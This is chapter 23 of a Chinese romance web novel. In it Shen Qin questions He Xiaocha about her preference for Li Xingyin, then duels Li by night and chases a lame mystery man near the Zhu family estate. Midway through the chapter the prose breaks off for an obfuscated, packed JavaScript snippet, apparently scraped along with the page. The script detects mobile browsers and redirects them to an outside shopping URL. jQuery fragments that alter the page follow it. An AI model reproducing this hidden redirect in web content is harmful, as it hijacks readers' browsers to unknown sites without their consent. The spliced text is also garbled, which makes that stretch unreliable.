23. 第 23 章

作品:《蜜煎樱桃

    沈钦看着被他捆在怀中的小姑娘,会武之人五感敏锐,他能听到贺小茶心跳如擂鼓,可她瑟缩着的身体和有些发白的脸色昭示着,她的心跳更多是源于畏惧。


    她怕他……


    而且还……怕成这样……


    沈钦胸中生出无限烦闷,他将撑在墙上的胳膊垂下,松开了对贺小茶的禁锢。


    他勉力平复自己的心情,贺小茶也心有余悸,她双手捧着自己的心口,大口呼吸,仿佛差点溺水之人。


    “我哪里不如李行隐?”沈钦用和缓的语气再问一遍。


    贺小茶抬起一双眉眼,很是不解地看向沈钦,仿佛他是什么疯子才问这种问题。


    沈钦在她的注视下生出委屈,委屈太浓,以致近乎一种恨。


    可他很快便明白过来,他不该恨贺小茶。


    在他心里,眼前的小姑娘是十年前拯救过他的恩人,是他苦寻了十年的儿时好友,是他在这世上唯一的牵挂,是他要守护一辈子的人。


    她是他的光,是他的……主人……


    然而贺小茶已经忘却了前尘往事,在她眼里,他只是个跟顾家交好、过来教授她课业的兄长而已。


    可是……还是好不甘心啊……


    沈钦阖眼片刻,让自己心中的妒火冷却。


    再睁开双眼时,他声音和缓:“我不如李行隐俊俏吗?”


    贺小茶顿感荒唐:“你们郎君还比这个啊?!”


    “不可以比吗?”沈钦答得坦荡。


    “可以倒是可以……就是觉得……有点奇怪……”


    沈钦此番发问的怪异冲淡了贺小茶的紧张和恐惧。


    她摸一摸下巴,老实答道:“俊俏也分为很多种的,其实若论貌美,是沈郎君你更貌美一些。但李郎君的俊俏更合我眼缘,他平常剑眉星目的,可只要一笑起来眼睛就会变得弯弯的,月牙儿一样,让人也跟着高兴。很温暖,很……”


    贺小茶兀自说着,眼神看向沈钦的时候,才发现他的目光又变得如冰雪冷冽,贺小茶的声音就渐渐弱了下来,直至全然的沉默。


    贺小茶低着头不说话。


    “你怕我?”沈钦问道。


    贺小茶慢慢将头抬起来,她也不知道她是怎么了,她号称天不怕地不怕,在渭南跟着翠娘经营酒肆,最危险的时候遇到过流氓结伙滋事,她从厨房抄了菜刀就挡在翠娘身前,那时候她都没在怕的。


    可她确实害怕沈钦。


    跟他读书这些日子,她最怕他冷脸,所以她很认真地读书,很认真地写字,生怕自己的愚笨惹他生气。他笑起来像蛊惑人心的千年美狐,可一旦不笑了,就不像了……


    就像刚才,沈钦将她抵到墙上,那眼神……就像要将她生吞活剥吃干抹净了一般……


    “有一点。”贺小茶声音怯怯,承认了自己对他的畏惧。


    “为什么?”


    “因为你不笑的时候,就不像狐狸了,像……像饿极了的狼。”贺小茶觉得这话说出来可能有些得罪人,所以答得瓮声瓮气。


    沈钦果真没再说话,贺小茶看向他:“你生气了?对不起,我不是……”


    “以后我会多对你笑。”


    “嗯?”


    沈钦觉得自己拿贺小茶一点办法都没有,只能柔声哄着:“我说,我以后不会冷着脸凶你,会对你笑。”


    “真的?”贺小茶眼睛亮了亮:“哪怕我背书背错了?字也写得不好?早上赖床,上课迟到?”


    “嗯。”沈钦唇角因为贺小茶的俏皮而勾起来,他并不是不喜欢笑,只是他的人生里除她之外,似乎没有什么值得高兴之事。


    见沈钦笑了,虽然笑意很浅,但贺小茶仍是一阵恍惚。


    其实沈钦也是很俊俏的。


    这个结论突然就窜进了她的脑子。


    贺小茶并不排斥,只在心里默默道,对不起了李郎君,大唐美男排行榜榜首的位置,你暂时让一让,让沈狐狸在上头呆个片刻,好像也是可以的。


    ……


    从顾府出来,夜色已深。


    一身白衣的沈钦疾风一般穿梭在各个坊市之间,巡逻的武侯偶尔听到风声,可回头四顾,总是空无一人。


    沈钦一头扎进一条巷弄,再出现时,白衣已换做墨袍,他跃身屋顶,跟无边夜色融为一体。


    李行隐此时正仰卧于榻上,闭目养神,思忖着这些日子发生的事,朱称明日头七,朱霖爱之如命,朱称这一死,朱家大概率还有后手。


    “哗啦……”


    头顶之上,瓦片翻弄之声蓦地传来,李行隐猝然睁眼,拿起佩剑走到院中。


    屋顶之上,月色之下,一个黑色背影出现在李行隐眼前,但很快,这个背影便飞身远走。


    李行隐不做他想,立即提气追了上去。


    两人身法极快,两席风影在长安城的房屋之上静谧而飘逸地跃动着,李行隐一路追到城郊草地,黑衣人停下来,李行隐也停下来。


    “沈钦,有意思吗?”李行隐追了没几步,便认出了来人,放眼整个大唐,能在轻功上同他较个高下的,恐怕也就只有这位照业楼主了。


    沈钦转身:“深夜无聊,好久没切磋了,过两招?”


    “啊?”


    不等李行隐反应,沈钦的剑便刺过来,李行隐全力格挡,但几招过后,他的衣服还是被沈钦划破了几道。


    李行隐看着袖口开裂的布料:“沈安之你来真的啊?!”


    “不然呢?”


    一言毕,李行隐也不再客气。


    圆月高悬,星河漫天,长剑交锋,迸出霹雳声响。


    一场酣战,足足一个时辰,沈钦和李行隐胜负未分,只是彼此的外衣都烂了个彻底。


    两人止戈,并排坐在草地上,遥望远山和月色。


    “你大晚上发什么疯?”李行隐问沈钦。


    “今天闲来无事,突然想起你,你这张脸生得,实在是不顺我的眼,便想来找你的麻烦。”


    “你从小就看我不顺眼。”李行隐笑着道,继而顿了顿:“因为年年。”


    沈钦回望沈钦:“你既知道,便别勾引她。”


    李行隐的笑容也敛起来:“彼此彼此。”


    又是一阵针锋相对,以沈钦的冷哼声作了终结。


    夜深朔风起,凉意尖锐的像是可以扎进骨髓里,但沈钦和李行隐都不急于结束今夜的会面。


    十年前的皇家秋猎,一头受惊的熊闯进猎场。彼时沈钦跟随灵禅寺玄慈大师去超度猎物,李行隐在猎场洗马,机缘巧合之下,两个孩童竟合力救下了险些被熊袭击的陛下。


    自此他们的命运发生了天翻地覆的改变。


    此后五年,他们奉陛下密诏在大内少年营接受秘训,朝夕相处,一同接受各路江湖高手的指点。


    他们被陛下挑选,也被陛下锻造,锻造成大唐最锋利的刀。


    他们十五岁那年,李行隐在明,出任金吾卫;沈钦在暗,加入照夜楼。


    十八岁,李行隐成为大唐开国以来最年轻的金吾卫千户;沈钦击败照夜楼老楼主,一瓶哑药,外加断其手筋,送老楼主衣锦还乡,自此沈钦成为照夜楼真正的话事人。


    最近几年两人各有差事,各自奔忙,已经许久没有这样坐在一起了,如年少时那般。


    “溪娘的事,多谢你。”沈钦开口。


    李行隐不置可否,溪娘也是少年营出来的,对沈钦情根深种,一路追随沈钦到了照夜楼。


    约莫一月前,她摇身一变成了万艳楼的花魁,七天前,朱称死于她的床榻。


    当夜她逃离长安,差点被巡逻兵发现,是李行隐助她一臂之力。


    “举手之劳。”李行


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516221|151478||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    隐道:“不过溪娘这一走,恐怕一生都不能再踏足长安,可怜她对你一片痴心啊。”


    “是要情爱,还是要自由,这选择对于溪娘来说,未免太过简单,她拎得清。”


    “朱霖不会善罢甘休的。”李行隐提醒道。


    “我知道。”沈钦神情从容。


    “朱家有你的人?”


    “嗯。”


    “那就好。”


    子时已过,两人回城。


    可刚过春明门,他们便看到远处巷口有个黑影逡巡。


    沈钦和李行隐顿生警觉,两人对视一眼,便追上去。


    一开始是两人一道追捕,可距离那人十丈之距时,那人似乎有所发现,旋即改变路径,钻入了旁边小道。


    沈钦和李行隐互使眼色,沈钦继续沿路尾随,李行隐则跃上房顶,抄另一条小道。


    然则他们再碰头时,黑影竟全然不见了踪影。


    沈钦蹙眉,居然跟丢了……


    长安城居然有这么一号人物,能在他和李行隐合力追捕之下逃脱。


    有意思……


    “看清楚了吗?”沈钦问。


    “太黑,只看个大概。身量跟你我相当,看肩宽应是男子,身法绝佳,在你我之上,但似乎有条腿不太灵便,疾走时有些跛行。”李行隐回答。


    “看到他的时候是在胜业坊口……”李行隐喃喃:“胜业坊有什么……”


    沈钦眸色冷厉:“胜业坊旁边是崇仁坊,朱家的老宅就在崇仁坊和胜业坊的交界处。”


    ……


    次日晨起,贺小茶决定去给兰璃裳请安。


    昨天沈钦走后,吕嬷嬷说兰璃裳被欧阳家的人气急了,头风发作,难受了一宿。


    老顾也反复跟她说,兰璃裳也是为她打算,才做下那些糊涂事。


    到了主院内室时,顾宝珠正守在兰璃裳的床边,兰璃裳面色发白,的确是憔悴很多。


    见是贺小茶来了,兰璃裳的瞳仁亮了亮:“年年……”


    贺小茶走过去,坐到了床沿上:“听说您病了。”


    “你还是不习惯叫我‘阿娘’,是吗?”


    许是身子的虚弱,掩盖了兰璃裳性格里的锐气,此刻的她,面容上竟是久违的属于母亲的温柔。


    贺小茶有些赧然,低了头。


    兰璃裳苦笑一下,继而拉起她的手:“欧阳家这桩事,是阿娘犯糊涂了,年年,别怪阿娘。”


    贺小茶的手颤了颤,继而回握了一下兰璃裳,兰璃裳的眼睛瞬间泛红,没有再说什么。


    “夫人。”吕嬷嬷走进来:“退婚书已经送去了欧阳府上,欧阳夫人没露面,但欧阳大人说,这件事是他们不对,改日会登门致歉。”


    兰璃裳淡淡应一声:“他也是个聪明的,知道咱们家如日中天,不能撕破脸。”


    说罢,她朝顾宝珠伸出另一只手,顾宝珠盈盈握上来。


    兰璃裳将两个女儿的手叠到一起:“欧阳家没有娶咱们顾家女儿的福分,但你们放心,长安城有大把好郎君等你们挑选。”


    “嗯。”顾宝珠乖顺应道。


    贺小茶闻言,脑海里闪过两个人的脸,她一下子就被自己吓住了。


    之前不都是只想一个人吗?今天怎么想了两个?!!她知道自己好色,但好成这样,是不有点太过分了……


    兰璃裳见女儿的面色一会儿红一会儿白,不由担心:“年年?”


    “啊?”贺小茶猛然回神:“知……知道了,好多……好多郎君我都可以……”


    屋里的嬷嬷丫头听贺小茶这么一说,都捂嘴偷笑。


    兰璃裳也被贺小茶这幅憨样逗笑了:“你这孩子,话到了你嘴里怎么就变味儿了。”


    贺小茶绝望地在心里安慰自己,算了,就这样吧……或许人生来一张脸就是为了丢……